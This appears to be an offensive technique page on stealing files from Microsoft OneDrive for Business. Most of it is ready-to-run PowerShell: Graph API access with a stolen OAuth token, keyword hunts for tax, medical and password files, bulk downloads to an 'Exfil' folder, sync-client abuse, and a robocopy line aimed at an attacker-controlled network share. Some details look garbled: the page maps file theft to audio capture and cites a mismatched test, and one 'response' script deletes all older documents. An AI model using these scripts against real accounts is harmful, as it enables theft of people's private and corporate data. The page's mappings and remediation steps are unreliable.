| Attribute | Details |
|---|---|
| Technique ID | COLLECT-CHAT-002 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture |
| Tactic | Collection |
| Platforms | M365, OneDrive for Business |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | OneDrive 2019 - 2025, Office 365 all plans |
| Patched In | N/A - Feature-based collection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: OneDrive Data Collection exploits compromised credentials or stolen OAuth tokens to systematically exfiltrate sensitive files stored in users’ OneDrive for Business accounts. Attackers leverage Microsoft Graph API (/me/drive/root/children, /sites/{site-id}/drive) or direct OneDrive sync mechanisms to enumerate, filter by sensitivity, and download personal and organizational documents at scale. OneDrive is frequently used for personal document storage, making it a treasure trove of unencrypted, sensitive data including financial records, personal health information, credentials, and strategic planning documents. Unlike SharePoint (which has team-based access controls), OneDrive permissions are often poorly managed, enabling broad unauthorized access once compromised.
Attack Surface: Microsoft Graph Drive API (/me/drive/root/children), OneDrive sync client (OneDrive.exe), OneDrive web portal authentication, personal cloud storage repositories, file sharing links, and backup repositories containing personal device files.
Business Impact: Massive personal and corporate data theft with severe compliance violations. Attackers access employees’ personal OneDrive accounts containing home device backups, personal financial information (tax returns, bank statements), family photos, health records, and personal communications. When combined with corporate files accidentally stored in personal OneDrive, attackers gain access to trade secrets, financial models, customer lists, and strategic documents. GDPR, HIPAA, FINRA fines apply if personal data of EU residents, healthcare information, or financial data exposed.
Technical Context: Collection occurs within 10-20 minutes per user depending on file volume. The technique is extremely difficult to detect because OneDrive access is legitimate user behavior; attackers can use OneDrive sync client to avoid API audit trails. Attackers focus on recently modified files and files with sensitivity keywords to prioritize exfiltration.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.3 | Ensure OneDrive external sharing is disabled or restricted |
| DISA STIG | WN10-CC-000500 | OneDrive file access restrictions and encryption |
| CISA SCuBA | SHAREPOINT.2 | OneDrive sync controls and access policies |
| NIST 800-53 | SC-28, SI-4 | Protection of Information at Rest; System Monitoring |
| GDPR | Art. 32, Art. 33 | Security of Processing; Breach Notification |
| HIPAA | 45 CFR 164.312(a)(2)(i) | Unique User Identification and Access Controls |
| FINRA | 4512(c) | Records Management and Data Protection |
| SOC 2 | CC6.1 | Logical Access Controls |
| ISO 27001 | A.9.2 | User Access Management |
Required Privileges:
Files.Read.All, Drive.Read.All, or Sites.Read.All scopeRequired Access:
https://graph.microsoft.com (port 443, HTTPS)Supported Versions:
Tools:
Supported Versions: OneDrive 2019-2025
Objective: Establish Graph API authentication and enumerate files in compromised user’s OneDrive root directory.
Command:
# Authenticate using stolen OAuth token
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5..." # Token with Files.Read.All scope
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# Get authenticated user's OneDrive
$drive = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive" `
-Headers $headers -Method Get
Write-Host "OneDrive Owner: $($drive.owner.user.displayName)"
Write-Host "Storage Used: $([math]::Round($drive.quota.used/1GB))GB / $([math]::Round($drive.quota.total/1GB))GB"
Write-Host "Drive ID: $($drive.id)"
# List root files
$rootFiles = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root/children" `
-Headers $headers -Method Get).value
foreach ($file in $rootFiles) {
Write-Host "File: $($file.name) | Size: $([math]::Round($file.size/1MB))MB | Modified: $($file.lastModifiedDateTime)"
}
Expected Output:
OneDrive Owner: John Smith
Storage Used: 847GB / 1024GB
Drive ID: b!drive-id-123
File: Taxes 2024.xlsx | Size: 2MB | Modified: 2025-12-10T09:30:00Z
File: Bank Statements | Size: 150MB | Modified: 2025-11-15T14:22:00Z
File: Personal Photos | Size: 500MB | Modified: 2025-12-05T16:45:00Z
File: Work Projects | Size: 1024MB | Modified: 2025-12-14T10:00:00Z
What This Means:
OpSec & Evasion:
Objective: Identify high-value files containing sensitive keywords (financial, personal, strategic).
Command:
# Search OneDrive for sensitive files
$sensitivityKeywords = @("confidential", "secret", "password", "ssn", "tax", "bank", "medical", "contract", "patent", "acquisition", "merger")
$allFiles = @()
$pageUri = "https://graph.microsoft.com/v1.0/me/drive/root/children?`$top=999"
# Paginate through all files
do {
$page = Invoke-RestMethod -Uri $pageUri -Headers $headers -Method Get
$allFiles += $page.value
$pageUri = $page.'@odata.nextLink'
} while ($null -ne $pageUri)
Write-Host "Total files in OneDrive root: $($allFiles.Count)"
# Filter for sensitive files
$sensitiveFiles = $allFiles | Where-Object {
$match = $false
foreach ($keyword in $sensitivityKeywords) {
if ($_.name -like "*$keyword*") { $match = $true; break }
}
$match
}
Write-Host "Sensitive files found: $($sensitiveFiles.Count)"
foreach ($file in $sensitiveFiles) {
Write-Host "SENSITIVE: $($file.name) | Size: $([math]::Round($file.size/1MB))MB"
}
Expected Output:
Total files in OneDrive root: 2847
Sensitive files found: 18
SENSITIVE: Personal_Tax_Return_2024.pdf | Size: 5MB
SENSITIVE: Bank_Account_Passwords.txt | Size: 100KB
SENSITIVE: Medical_Records_Personal.docx | Size: 2MB
SENSITIVE: Company_Acquisition_Targets.xlsx | Size: 3MB
What This Means:
OpSec & Evasion:
Objective: Initiate bulk download of identified sensitive files to exfiltration location.
Command:
# Download sensitive files to C:\Exfil
foreach ($file in $sensitiveFiles) {
$downloadUrl = $file['@microsoft.graph.downloadUrl']
$filename = $file.name
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile "C:\Exfil\$filename" -Method Get
Write-Host "Downloaded: $filename | $([math]::Round($file.size/1MB))MB"
} catch {
Write-Host "ERROR downloading $filename : $_"
}
}
Write-Host "Download complete. Total files exfiltrated: $($sensitiveFiles.Count)"
Expected Output:
Downloaded: Personal_Tax_Return_2024.pdf | 5MB
Downloaded: Bank_Account_Passwords.txt | 0.1MB
Downloaded: Medical_Records_Personal.docx | 2MB
Downloaded: Company_Acquisition_Targets.xlsx | 3MB
Download complete. Total files exfiltrated: 18
What This Means:
OpSec & Evasion:
Objective: Comprehensively search entire OneDrive folder hierarchy for sensitive data.
Command:
# Recursively search all OneDrive folders
function Get-OneDriveFiles {
param ($ItemId = $null)
if ($null -eq $ItemId) {
$uri = "https://graph.microsoft.com/v1.0/me/drive/root/children?`$top=999"
} else {
$uri = "https://graph.microsoft.com/v1.0/me/drive/items/$ItemId/children?`$top=999"
}
$items = (Invoke-RestMethod -Uri $uri -Headers $headers -Method Get).value
foreach ($item in $items) {
if ($item.folder -ne $null) {
# Recursively process folders
Write-Host "Folder: $($item.name)"
Get-OneDriveFiles -ItemId $item.id
} else {
# Check file against keywords
foreach ($keyword in $sensitivityKeywords) {
if ($item.name -like "*$keyword*") {
Write-Host " SENSITIVE FILE: $($item.name) | Size: $([math]::Round($item.size/1MB))MB"
break
}
}
}
}
}
Get-OneDriveFiles
Expected Output:
Folder: Documents
SENSITIVE FILE: Confidential_Strategy.docx | Size: 4MB
Folder: Personal
SENSITIVE FILE: Medical_Records.pdf | Size: 3MB
SENSITIVE FILE: Tax_Documents | Size: 150MB
Folder: Work
SENSITIVE FILE: Client_Database_Backup.xlsx | Size: 50MB
What This Means:
OpSec & Evasion:
Supported Versions: OneDrive 2019+
Objective: Configure OneDrive.exe to sync compromised user’s OneDrive to local endpoint, enabling bulk file access.
Command (PowerShell):
# Determine OneDrive installation location
$oneDrivePath = "$env:LOCALAPPDATA\Microsoft\OneDrive\OneDrive.exe"
if (Test-Path $oneDrivePath) {
Write-Host "OneDrive found: $oneDrivePath"
# Register compromised account
& $oneDrivePath /personal
# Wait for sync to initialize
Start-Sleep -Seconds 10
# Check sync status
$syncPath = "$env:USERPROFILE\OneDrive"
Get-ChildItem -Path $syncPath -Recurse | Measure-Object | Select-Object Count
} else {
Write-Host "OneDrive not found"
}
Expected Output:
OneDrive found: C:\Users\john.smith\AppData\Local\Microsoft\OneDrive\OneDrive.exe
Sync started for: john.smith@company.com
Count: 2847
What This Means:
OpSec & Evasion:
Objective: Copy all synced OneDrive files to external USB drive or attacker-controlled network share.
Command:
# Copy entire synced OneDrive to external USB
$source = "$env:USERPROFILE\OneDrive"
$destination = "E:\OneDrive_Backup" # External USB drive
# Use robocopy for faster copying
robocopy.exe $source $destination /E /COPYALL /R:0 /W:0 /ETA
# Alternative: Copy to network share
# robocopy.exe $source "\\attacker-network.com\share\OneDrive" /E /COPYALL
Write-Host "Copy complete"
# Verify copy
Get-ChildItem -Path $destination -Recurse | Measure-Object | Select-Object Count
Expected Output:
ROBOCOPY :: Robust File Copy for Windows
ROBOCOPY :: Robust File Copy for Windows
Started : Saturday, January 10, 2026 4:22:31 PM
Source : C:\Users\john.smith\OneDrive\
Dest : E:\OneDrive_Backup\
Files : 2847
Dirs : 345
Total : 3192
Copied: 3192
Speed : 45.2 MB/sec
Elapsed time : 00:18:45
What This Means:
OpSec & Evasion:
Objective: Filter and copy only recently modified/sensitive files to reduce volume and detection.
Command:
# Copy only files modified in last 7 days
$source = "$env:USERPROFILE\OneDrive"
$destination = "C:\Exfil\"
$daysBack = 7
$cutoffDate = (Get-Date).AddDays(-$daysBack)
Get-ChildItem -Path $source -Recurse -File | Where-Object {
$_.LastWriteTime -gt $cutoffDate -or $_.Name -like "*confidential*" -or $_.Name -like "*secret*"
} | ForEach-Object {
$relativePath = $_.FullName.Substring($source.Length)
$destFile = Join-Path $destination $relativePath
$destDir = Split-Path $destFile
if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
Copy-Item -Path $_.FullName -Destination $destFile -Force
Write-Host "Copied: $($_.Name) | Size: $([math]::Round($_.Length/1MB))MB"
}
Expected Output:
Copied: Strategic_Plan_2026.docx | Size: 4MB
Copied: Confidential_Email_Archive.pst | Size: 150MB
Copied: Q4_Financial_Summary.xlsx | Size: 12MB
Copied: Client_List_2026.csv | Size: 5MB
What This Means:
OpSec & Evasion:
Supported Versions: OneDrive 2022+
Objective: Use PnP PowerShell module to connect to compromised user’s OneDrive.
Command:
# Connect using credentials
Connect-PnPOnline -Url "https://company-my.sharepoint.com/personal/john_smith_company_com/" `
-Credentials (Get-Credential) -Verbose
# Alternative: Using client ID/secret
Connect-PnPOnline -Url "https://company-my.sharepoint.com/personal/john_smith_company_com/" `
-ClientId "client-id" -ClientSecret "client-secret" -Tenant "company.onmicrosoft.com"
Expected Output:
Connected to: https://company-my.sharepoint.com/personal/john_smith_company_com/
Using: company\john.smith
What This Means:
Objective: Use PnP cmdlets to download identified sensitive files.
Command:
# Get all files
$items = Get-PnPListItem -List "Documents" | Where-Object {
$_.FieldValues['Title'] -like "*confidential*"
}
foreach ($item in $items) {
$file = Get-PnPFile -Url $item.FieldValues['FileRef'] -Path "C:\Exfil\" -Filename $item.FieldValues['FileLeafRef'] -Force
Write-Host "Downloaded: $($item.FieldValues['FileLeafRef'])"
}
Expected Output:
Downloaded: Confidential_Report.docx
Downloaded: Strategic_Initiatives.xlsx
What This Means:
API Access Patterns:
/me/drive/root/children API requests/me/drive (unusual privilege escalation)Local Indicators (Endpoint):
C:\Exfil\ or external USB drivesCloud Indicators:
Cloud Logs (Microsoft Purview/Unified Audit Log):
Search-UnifiedAuditLog -Operations FileDownloaded -UserIds "compromised-user@company.com" -StartDate (Get-Date).AddDays(-30)Search-UnifiedAuditLog -Operations FileSyncDownloadedFull | Where { $_.UserAgent -like "*SkyDriveSync*" }Local Artifacts (Windows Endpoint):
Windows Logs → SecurityC:\Exfil\
# Revoke all OAuth tokens
Revoke-AzureADUserAllRefreshToken -ObjectId "compromised-user-id"
# Disable OneDrive for compromised user
Disable-SPOUser -Site "https://company-my.sharepoint.com/personal/john_smith_company_com/" -LoginName "company\john.smith"
# Reset password
Set-AzADUser -ObjectId "compromised-user-id" -PasswordProfile @{
Password = [System.Web.Security.Membership]::GeneratePassword(32, 8)
ForceChangePasswordNextLogin = $true
}
# Export OneDrive file access audit logs
Search-UnifiedAuditLog -Operations FileDownloaded, FileSyncDownloadedFull `
-UserIds "compromised-user-email" -StartDate (Get-Date).AddDays(-30) |
Export-Csv "C:\Evidence\OneDrive_Access.csv"
# List recently modified files
Get-PnPListItem -List "Documents" |
Where-Object { $_.FieldValues['Modified'] -gt (Get-Date).AddDays(-7) } |
Export-Csv "C:\Evidence\Modified_Files.csv"
# Delete exfiltrated files if backup exists
Get-PnPListItem -List "Documents" |
Where-Object { $_.FieldValues['Modified'] -lt (Get-Date).AddDays(-7) } |
Remove-PnPListItem -Force
# Force new sync session
Stop-Process -Name "OneDrive" -Force
Remove-Item -Path "$env:LOCALAPPDATA\Microsoft\OneDrive\sync" -Recurse -Force
Disable OneDrive Sync Client Where Possible: Applies To Versions: Windows 10 Enterprise+
Manual Steps (Group Policy):
gpupdate /force on target machinesImplement OneDrive External Sharing Restrictions: Applies To Versions: Office 365 all versions
Manual Steps (SharePoint Admin Center):
Enforce Conditional Access for OneDrive Downloads: Applies To Versions: Entra ID all versions
Manual Steps (Azure Portal):
Require MFA for OneDrive DownloadsEnable OneDrive File Protection: Applies To Versions: Office 365 E3+
Manual Steps:
Implement DLP Policy for OneDrive:
Manual Steps:
Prevent OneDrive Data Exfiltration# Verify OneDrive external sharing disabled
Get-SPOTenant | Select-Object SharingCapability
# Verify OneDrive sync disabled (Group Policy)
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\OneDrive" | Select-Object DisableFileSyncNGSC
# Expected Output (If Secure):
# SharingCapability: ExistingExternalUserSharingOnly or Disabled
# DisableFileSyncNGSC: 1 (Disabled)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker compromises OneDrive user via phishing |
| 2 | Credential Access | [CA-TOKEN-001] Hybrid AD Token Theft | Stolen OAuth token with Files.Read.All scope |
| 3 | Collection | [COLLECT-CHAT-002] | OneDrive files exfiltrated via Graph API or sync client |
| 4 | Exfiltration | [CA-UNSC-008] Azure Storage Keys Theft | Files uploaded to attacker-controlled cloud storage |
| 5 | Impact | Identity Theft / Compliance Violation | Personal and corporate data leaked to dark web |
Test Name: Enumerate and Download OneDrive Files
Supported Versions: OneDrive 2019+
Command:
Invoke-AtomicTest T1123 -TestNumbers 4
Cleanup:
Invoke-AtomicTest T1123 -TestNumbers 4 -Cleanup
Reference: Atomic Red Team - T1123
End of COLLECT-CHAT-002: OneDrive Data Collection